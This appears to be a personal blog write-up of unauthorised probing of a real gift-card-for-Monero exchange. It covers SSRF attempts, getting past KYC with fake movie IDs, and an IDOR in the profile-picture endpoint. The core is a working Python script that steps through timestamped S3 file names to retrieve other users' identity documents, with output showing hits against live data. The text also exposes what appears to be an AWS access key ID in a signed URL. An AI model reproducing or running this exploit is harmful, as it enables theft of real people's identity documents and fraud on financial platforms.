kyc and idors dont mix well
no this is NOT regarding the breach on tea; i was not involved in it
shit summary
there is a website online which forces users to do kyc to access certain financial products (a very apt summary of it without revealing the name of the platform in question since they are quite shitty operators). the site essentially lets you exchange gift cards for monero with other users - basically like paxful/noones but its shit and is operated by people who either vibecoded their infrastructure or don’t know how to secure their stuff
stage 1 - pfp changing
simply out of curiosity i decided to change my pfp in the site and intercept the request:
checking the api request payload we clearly see a file
param which contains the url in question. this obviously is a bad idea and opens this silly site to SSRF. checking burp collaborator however i didnt get any response. this either meant
- burp collaborator is not working (very unlikely)
- the server has ssrf policies to fight against this
so i tried file=file://
and file=gopher://
and other protocols to try and achieve rce (which did not work also) - with most of them returning 400 or just blank.
the only ‘interesting’ outcome from this so far is an IDORS vuln that lets me find peoples profile pictures - which is unfascinating at best. this would help down the line.
stage 2 - kyc
if you dont know what kyc is, go on stake/coinbase and try and purchase cryptocurrency. chances are it will either redirect to moonpay or ramp or coinbase’s crypto purchasing page which all require you to verify your id so you dont do fraud and get away with it.
checking the kyc page (wont post a ss here for obvious reasons) it asked for my passport or drivers license. obviously im not 18 yet so i uploaded this:
just out of curiosity. after 5 minutes i was rejected. i refreshed the page and uploaded the mclovin id ; and after 10 more minutes of it freezing up i was suddenly approved. yeah this kyc fucking sucks
checking the request and response, i saw this in the response:
{
"success":true,
"code":201,
"message":"Success",
"data":{
"url":"https://XXX-XXXXXX.s3.ap-southeast-1.amazonaws.com/merchants/merchant-DATE AND TIME HERE-file-SRTZ.jpg",
"variety":[
]
}
}
notice it shows the date and time. interesting
anyway, clicking on my kyc photo redirects me to
https://XXX-XXXXXX.s3.ap-southeast-1.amazonaws.com/merchants/merchant-2025XXXXXX-file-SKTP.jpg?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIA4SLFYNSU4RCVYJ5F/20250631/ap-southeast-1/s3/aws4_request&X-Amz-Date=TIMESTAMPHERE&X-Amz-Expires=600&X-Amz-SignedHeaders=host&response-content-disposition=&X-Amz-Signature=020e17e205f174f1fab593f64987accfcf262d11819e4bc31d7f69974af77606
clearly we wont be getting around this at all.
stage 3 - kyc (again)?
after some deliberation and other failed attempts i decided to make a second account and tried getting around kyc again by just uploading mclovin again - but then i got rejected. i eventually caved and uploaded a large plethora of movie ids until some random drivers license photo was accepted somehow.
sidenote: apparently they fixed this now by actually incoprorating an actual kyc service instead of something inhouse. note that this site is pretty famous
anyway, after taking the id card url, i removed the signature params from it and then reuploaded it to my first account in the same endpoint which let me specify the file
param. interesting the file was automagically signed and i had full access to my second acc’s id card; and the best part is the originally random 4 character string after it is now just called picKycFile
- this means we can do this:
- decrement from an existing file’s timestamp
- each decrement, call the API to update your pfp
- if it errors out then no one updated their pfp
- if its successful, call some sort of self-profiling api to get the ID file
- access the signed version of the image on that side, and download it to successfully do kyc theft
heres the shitty python script i wrote. i checked my ids timestamp and incremented a fake one 3 minutes earlier for a safe test/POC:
import requests
from datetime import datetime, timedelta
from urllib.parse import urlencode
awsbase = "https://EXPUNGED.s3.ap-southeast-1.amazonaws.com"
apibase = "https://account.EXPUNGED.com"
headers = {
"Apikey": "EXPUNGED",
"Authorization": "Bearer EXPUNGED",
"Content-Type": "application/x-www-form-urlencoded"
}
def dects(fname):
try:
date_str = fname.split('-')[1][:14]
dt = datetime(
int(date_str[:4]), int(date_str[4:6]), int(date_str[6:8]),
int(date_str[8:10]), int(date_str[10:12]), int(date_str[12:14])
) - timedelta(seconds=1)
new_date = dt.strftime('%Y%m%d%H%M%S')
return fname.replace(date_str, new_date)
except:
return None
fname = "/merchants/merchant-timestamphere-file-picKycFile.pdf"
for _ in range(30000000):
fname = dects(fname)
if not fname:
break
furl = awsbase + fname
try:
requests.post(
apibase + "/api/v2/me/change-profile-picture",
data=urlencode({'file': furl}),
headers=headers
)
resp = requests.get(apibase + "/api/v2/me", headers=headers)
pfp = resp.json()['data']['profilePicture'] # uh oh
content = requests.get(pfp).text
if "The specified key does not exist" not in content:
print(f"found an id: {furl}")
except:
pass
running it:
root@033ace04e72d071fc3224f7c3afeab:~/root# python3 lmao.py
found an id: {'file': 'https://XXX-XXXXXX.s3.ap-southeast-1.amazonaws.com/merchants/merchant-202506XXXXXXXX-file-picKycFile.jpg'}
found an id: {'file': 'https://XXX-XXXXXX.s3.ap-southeast-1.amazonaws.com/merchants/merchant-202506XXXXXXXX-file-picKycFile.jpg'}
clearly this site is incredibly terrible; so i contacted the owners regarding this vuln and i was promptly told to “go fuck myself” in a lighthearted telegram message; along with IP banning me and numerous attempts to spam my email. not quite nice.
after running the script for a day or two and sending proof (not the actual IDs) to the owner; along with contacting the people affected by this breach to consider legal action; it seemed as if there was quite a rapid shift in attitude and as a ‘reward’ for my honesty, the owner sends me 1.5k usd in monero. thanks pal